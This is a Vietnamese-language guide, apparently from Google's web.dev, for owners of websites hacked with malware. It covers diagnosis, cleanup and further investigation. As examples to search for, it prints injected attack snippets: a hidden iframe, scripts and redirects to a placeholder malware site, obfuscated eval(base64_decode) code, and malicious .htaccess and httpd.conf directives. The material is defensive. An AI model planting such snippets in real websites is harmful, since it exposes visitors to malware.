Phần mềm độc hại là bất kỳ phần mềm hay ứng dụng di động nào được thiết kế nhằm gây hại cho máy tính, thiết bị di động, phần mềm được sử dụng, hoặc gây hại cho người dùng. Để biết thêm thông tin về phần mềm độc hại, hãy xem Phần mềm độc hại và phần mềm không mong muốn.
Nếu trang web của bạn chứa phần mềm độc hại, người dùng thường sẽ thấy cảnh báo "Trang web này có thể gây hại cho máy tính của bạn" xuất hiện trong kết quả tìm kiếm hoặc trên trang xen kẽ do trình duyệt hiển thị khi người dùng cố gắng truy cập trang web của bạn, có dạng như sau:
![Trang xen kẽ chứa phần mềm độc hại đại diện](https://web.dev/static/articles/hacked-with-malware/image/representative-malware-in-d968499096707.gif?authuser=5&hl=vi)
Bạn sẽ cần:
- Quyền truy cập của quản trị viên shell hoặc thiết bị đầu cuối vào các máy chủ của trang web: web, cơ sở dữ liệu và tệp.
- Có kiến thức về lệnh shell hoặc dòng lệnh.
- Có thể chạy truy vấn SQL trên cơ sở dữ liệu.
Chuẩn bị
- Đăng ký Search Console và xác minh quyền sở hữu trang web bị tấn công của bạn theo mô tả tại đó. Search Console cung cấp một mẫu về các trang bị ảnh hưởng, giúp việc tìm và khắc phục các vấn đề bị tấn công bằng phần mềm độc hại dễ dàng hơn nhiều. Ngoài ra, chúng tôi sẽ cảnh báo cho bạn khi phát hiện trang web của bạn bị ảnh hưởng bởi nhiều loại phần mềm độc hại hoặc hình thức tấn công khác.
Xem trang chẩn đoán Duyệt web An toàn của Google để xem thông tin công khai về việc một trang web có khả năng gây hại cho người dùng hay không. Bạn có thể xem trạng thái của trang thông tin trên trang hoặc trang web của mình tại một URL tương tự như sau:
https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>***
Ví dụ:https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com
<<page_or_site>>
có thể là một URL trang cụ thể (http://example.com/badpage
) hoặc toàn bộ trang web của bạn (example.com).Tránh sử dụng một trình duyệt để xem các trang trên trang web của bạn. Vì phần mềm độc hại thường tăng trưởng bằng cách khai thác các lỗ hổng của trình duyệt, nên việc mở một trang bị nhiễm phần mềm độc hại trong trình duyệt có thể làm hỏng máy tính của bạn. Sử dụng cURL hoặc Wget để thực hiện các yêu cầu HTTP (ví dụ: để tìm nạp trang) trừ phi hướng dẫn chẩn đoán yêu cầu truy cập trang trực tiếp trong trình duyệt của bạn.
Các công cụ miễn phí này rất hữu ích trong việc chẩn đoán các lệnh chuyển hướng và có thể linh hoạt đưa vào thông tin liên kết giới thiệu hoặc tác nhân người dùng. Việc bao gồm một liên kết giới thiệu hoặc tác nhân người dùng cụ thể sẽ hữu ích trong việc bắt chước tin tặc, vì tin tặc chỉ có thể phân phát nội dung độc hại cho người dùng có các tác nhân người dùng hoặc liên kết giới thiệu cụ thể để nhắm mục tiêu nhiều "người thực" hơn và tránh bị chủ sở hữu trang web và trình quét phần mềm độc hại phát hiện.
`curl -v --referer "http://www.google.com" <your-url>`
Dưới đây là một ví dụ chỉ định cả tác nhân người dùng và đường liên kết giới thiệu:
`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`
Bạn nên tìm nạp trang có và không có --referer "https://www.google.com"
, vì một số phần mềm độc hại chỉ được kích hoạt khi người dùng đến từ kết quả trên Google Tìm kiếm.
Tạo một tài liệu để ghi lại những phát hiện từ bước này. Cuối cùng, tài liệu sẽ bao gồm (ít nhất) tên và vị trí của mỗi tệp bị hỏng, cũng như ghi chú về cách tệp bị nhiễm vi-rút, và sẽ làm cơ sở để Dọn dẹp và bảo trì trang web của bạn.
Hãy xem video ở phần trước của trang này để biết cách hoạt động của phần mềm độc hại và cách bạn có thể giữ an toàn trong quá trình điều tra phần mềm độc hại.
Chẩn đoán
Xác định phần mềm độc hại nào đang ảnh hưởng đến trang web của bạn:
- Mở báo cáo Vấn đề bảo mật cho trang web của bạn trong Search Console. Mở rộng nội dung mô tả cảnh báo phần mềm độc hại để xem danh sách ví dụ về các trang bị ảnh hưởng. Xin lưu ý rằng danh sách này chưa đầy đủ; bạn có thể không nhận được các trang mẫu về mọi loại phần mềm độc hại trên trang web của mình.
- Kiểm tra các trang mẫu của bạn để tìm các loại phần mềm độc hại sau.
Phần mềm độc hại trong cấu hình máy chủ (chuyển hướng không mong muốn)
Một tin tặc đã xâm phạm trang web của bạn và đang chuyển hướng khách truy cập từ trang web tốt đến trang web tấn công phần mềm độc hại của họ, có thể bằng cách sửa đổi(các) tệp cấu hình của máy chủ. Tệp cấu hình máy chủ thường cho phép quản trị viên trang web chỉ định các lệnh chuyển hướng URL cho các trang hoặc thư mục cụ thể trên một trang web. Ví dụ: trên các máy chủ Apache, đây là tệp .htaccess
cũng như là httpd.conf
.
Chẩn đoán
Truy cập một số URL mẫu có trong bảng báo cáo về các vấn đề bảo mật. Phản hồi từ một trang bị nhiễm "cấu hình máy chủ" có thể bao gồm các tiêu đề sau:
< HTTP/1.1 301 Moved Permanently
< Date: Sun, 24 Feb 2013 21:06:45 GMT
< Server: Apache
< Location: http://<<strong>_malware-attack-site_</strong>>/index.html
< Content-Length: 253
Xác định các tệp bị ảnh hưởng
Đăng nhập vào máy chủ của bạn thông qua quyền truy cập shell hoặc thiết bị đầu cuối (trang web có thể ở chế độ ngoại tuyến nếu bạn muốn) và xem lại các tệp cấu hình máy chủ có liên quan. Có thể có nhiều
tệp cấu hình máy chủ bị tấn công trên trang web của bạn. Hãy kiểm tra các tệp này để tìm những lệnh không mong muốn, chẳng hạn như lệnh chuyển hướng đến các trang web không xác định. Ví dụ: trong tệp .htaccess
, bạn có thể thấy một lệnh chuyển hướng có dạng như sau:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://<<em><strong>_malware-site_</strong></em>>/index.html** [R=301]
Chèn SQL
Một tin tặc đã xâm nhập cơ sở dữ liệu trang web của bạn. Ví dụ: tin tặc có thể đã chèn mã độc theo phương thức lập trình vào mọi bản ghi của bảng cơ sở dữ liệu để khi máy chủ tải một trang cần thông tin từ cơ sở dữ liệu, thì mã độc hại đó giờ sẽ được nhúng vào nội dung của trang và có thể gây hại cho khách truy cập trang web.
Chẩn đoán
- Chạy một số truy vấn về các URL bị ảnh hưởng trong dòng lệnh và kiểm tra phản hồi cho các từ tấn công SQL như "iframe" hoặc "eval".
Đăng nhập vào máy chủ cơ sở dữ liệu hoặc xem cơ sở dữ liệu của bạn thông qua một công cụ như phpMyAdmin. Nếu bạn đã sử dụng Wget hoặc cURL, hãy cố gắng liên hệ thiệt hại phát hiện thấy trong mã nguồn của trang thông qua Wget hoặc cURL với các mục cơ sở dữ liệu thực tế. Ví dụ: nếu nhận thấy các trang của mình có một iframe nguy hiểm, bạn có thể thực hiện truy vấn SQL để tìm kiếm mã iframe. Ví dụ:
SELECT * FROM blog_posts WHERE post_text LIKE '%>iframe%';
Bạn cũng nên kiểm tra nhật ký cơ sở dữ liệu và các tệp lỗi trên máy chủ của mình để xem có hoạt động bất thường hay không, chẳng hạn như các lệnh SQL không mong muốn mà có vẻ bất thường đối với người dùng thông thường hoặc lỗi.
Khắc phục vấn đề
Cập nhật từng bản ghi cơ sở dữ liệu bị nhiễm hoặc khôi phục bản sao lưu cơ sở dữ liệu đã biết gần đây nhất của bạn.
Đưa vào mã
Các trang trên trang web của bạn đã bị sửa đổi để chứa mã độc hại, chẳng hạn như iframe đến một trang web tấn công phần mềm độc hại.
Chẩn đoán
Hãy truy cập một số URL mẫu có trong báo cáo Vấn đề bảo mật với cURL hoặc wGet và kiểm tra mã đáng ngờ. Mã được chèn có thể có nhiều loại và khó tìm được. Bạn nên tìm kiếm các từ như "iframe" để tìm mã iframe. Các từ khóa hữu ích khác là "script", "eval" và "unescape". Ví dụ: để tìm kiếm "iframe" trong tất cả các tệp trên các hệ thống dựa trên Unix, hãy làm như sau:
$grep -irn "iframe" ./ | less</pre>
Dưới đây là một số mẫu phần mềm độc hại phổ biến cần xem xét.
iframe tải một trang web độc hại:
<iframe frameborder="0" height="0" src="http://<<strong><em>_malware-site_</em></strong>>/path/file"
style="display:none" width="0"></iframe>
JavaScript hoặc một ngôn ngữ tập lệnh khác gọi và chạy các tập lệnh từ một trang web tấn công:
<script type='text/javascript' src='http://<<em><strong>_malware-site_</strong></em>>/js/x55.js'></script>
Tập lệnh chuyển hướng trình duyệt đến một trang web tấn công:
<script>
if (document.referrer.match(/google\.com/)) {
window.location("http://<<em><strong>_malware-site_</strong></em>>/");
}
</script>
Mã độc hại bị làm rối mã nguồn để tránh bị phát hiện:
eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));
Các tệp đối tượng được chia sẻ được thiết kế để ghi ngẫu nhiên mã có hại vào các tập lệnh vô hại:
#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c
Mẫu lỗi độc hại
Mẫu dùng cho các thông báo lỗi (chẳng hạn như 404 File not found) được định cấu hình để phân phối phần mềm độc hại. Bằng cách này, kẻ tấn công có thể tấn công các URL thậm chí không tồn tại trên trang web của bạn.
Chẩn đoán
Yêu cầu một trang trên trang web của bạn không tồn tại hoặc có một loại lỗi khác, đồng thời kiểm tra phản hồi để xem liệu trang đó đến từ một trang web khác hay có chứa phần mềm độc hại hay không.
Khắc phục vấn đề
Đăng nhập vào máy chủ web của bạn và tìm kiếm trong tệp cấu hình máy chủ để tìm lệnh của trang
lỗi. Ví dụ: bạn có thể khai báo mẫu lỗi cho máy chủ web Apache trong tệp .htaccess
. Dưới đây là ví dụ về mục .htaccess
truy xuất các trang lỗi 404 từ một trang web độc hại:
ErrorDocument 404 http://<<span class="red-text"><em><strong>_malware-site_</strong></em></span>>/index.html
Khi bạn đã sẵn sàng dọn dẹp trang web, hãy thay thế(các) tệp .htaccess
bằng một bản sao lưu hợp lệ đã biết hoặc xoá các lệnh ErrorDocument không mong muốn trên(các) tệp .htaccess
hiện có. Hãy nhớ xoá các tệp lỗi thực tế nếu các tệp đó tồn tại trên trang web của bạn. Cuối cùng, hãy khởi động lại máy chủ web để đảm bảo tất cả thay đổi có hiệu lực.
Tải tài nguyên từ một trang web bị xâm nhập hoặc độc hại {FAILURE-resources}
Trang web của bạn sử dụng nội dung hoặc tài nguyên từ một trang web được xác định là chứa nội dung độc hại. Chúng có thể là tệp JavaScript, hình ảnh hoặc các tệp khác. Do đó, trang web của bạn sẽ bị gắn cờ vì phần mềm độc hại được tải từ trang web đó.
Chẩn đoán
Truy cập một số URL mẫu có trong bảng báo cáo về các vấn đề bảo mật.
Khắc phục vấn đề
- Xác nhận vấn đề bằng cách duyệt đến một số URL mẫu được liệt kê trong báo cáo Vấn đề bảo mật trong Search Console. Bạn sẽ thấy một cảnh báo trong trình duyệt.
- Cảnh báo trong trình duyệt sẽ cho bạn biết miền của nội dung nghi vấn. Hãy xóa tất cả các mục tham chiếu đến trang web bị gắn cờ trong cảnh báo của trình duyệt. Nếu nội dung từ một trang web bị gắn cờ được đưa vào mà bạn không biết, thì vấn đề sẽ nghiêm trọng hơn. Trang web của bạn rất có thể đã bị xâm phạm và bạn nên tiếp tục kiểm tra trang web của mình để xem có hành vi tấn công và lỗ hổng bảo mật khác hay không.
- Nếu bạn cố tình đưa nội dung trên một trang web hợp pháp bị gắn cờ và bạn muốn bao gồm lại nội dung đó sau khi trang web bị gắn cờ được dọn dẹp, bạn có thể theo dõi trạng thái của trang web bị gắn cờ bằng trang chẩn đoán Duyệt web An toàn của Google cho trang web đó (
http://www.google.com/safebrowsing/diagnostic?site=www.example.com
){:.external}. Chủ sở hữu của các trang web hợp pháp thường dọn dẹp nhanh những nội dung này.
Điều tra bổ sung
Tiếp theo, hãy kiểm tra xem có thêm tệp độc hại hoặc thay đổi nào trên hệ thống của bạn hay không. Tin tặc có thể đã sửa đổi các trang hoặc bản ghi cơ sở dữ liệu hiện có, tạo các trang vi phạm hoàn toàn mới, viết hàm cho thấy nội dung vi phạm trên các trang sạch hoặc để lại "cửa sau" cho phép tin tặc xâm nhập lại trang web của bạn hoặc chèn lại mã độc hại bạn đã loại bỏ.
Nếu trang web của bạn đang trực tuyến, hãy xem xét việc tắt trang web cho cuộc điều tra này.
Nếu bạn có một bản sao lưu trang web ổn định, hãy xác định những tệp đã được tạo hoặc sửa đổi kể từ lần sao lưu đó và kiểm tra các tệp đó. Trên các hệ thống có nền tảng Unix, bạn có thể dùng một lệnh như sau để tìm tệp mới:
diff -qr <current-directory> <backup-directory>
Ví dụ:
diff -qr www/ backups/full-backup-20120124/
ngoài ra:
md5sum <current-page> <backup-page>
Ví dụ:
md5sum www/page.html backups/full-backup-20120124/page.html
Kiểm tra nhật ký máy chủ, quyền truy cập và lỗi để tìm mọi hoạt động đáng ngờ, chẳng hạn như các lần đăng nhập không thành công, nhật ký lệnh (đặc biệt là ở cấp độ gốc) và việc tạo tài khoản người dùng không xác định. Xin lưu ý rằng tin tặc có thể đã thay đổi các nhật ký này nhằm mục đích riêng. Video có sử dụng một số ví dụ về Xác định lỗ hổng bảo mật.
Kiểm tra các tệp cấu hình để chuyển hướng. Các tệp cấu hình của bạn thường có tên là .htaccess
và httpd.conf
. Tin tặc thường tạo các lệnh chuyển hướng có điều kiện dựa trên tác nhân người dùng, thời gian trong ngày hoặc đường liên kết giới thiệu. Nếu cần cập nhật tệp cấu hình, bạn có thể phải khởi động lại máy chủ để các thay đổi có hiệu lực.
Kiểm tra xem các quyền đối với tệp và thư mục có quá thoải mái hay không. Tin tặc can thiệp vào quyền vì nếu chủ sở hữu trang web không phát hiện thấy các quyền quá rộng, tin tặc sẽ có cách để xâm nhập lại vào trang web. Các tệp lớn hơn 644 (rw-r--r--)
và các thư mục lớn hơn 755 (rwxr-xr-x)
có thể gây ra các vấn đề bảo mật. Hãy đảm bảo rằng bất kỳ
quyền nào rộng rãi hơn đều thật sự cần thiết. Trên các hệ thống có nền tảng Unix, hãy thử:
find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;
và:
find <your-dir> -type f -not -perm 644 -exec ls -la {} \;
Nếu bạn có một cơ sở dữ liệu, hãy điều tra từng bản ghi bằng cách sử dụng một công cụ như phpMyAdmin.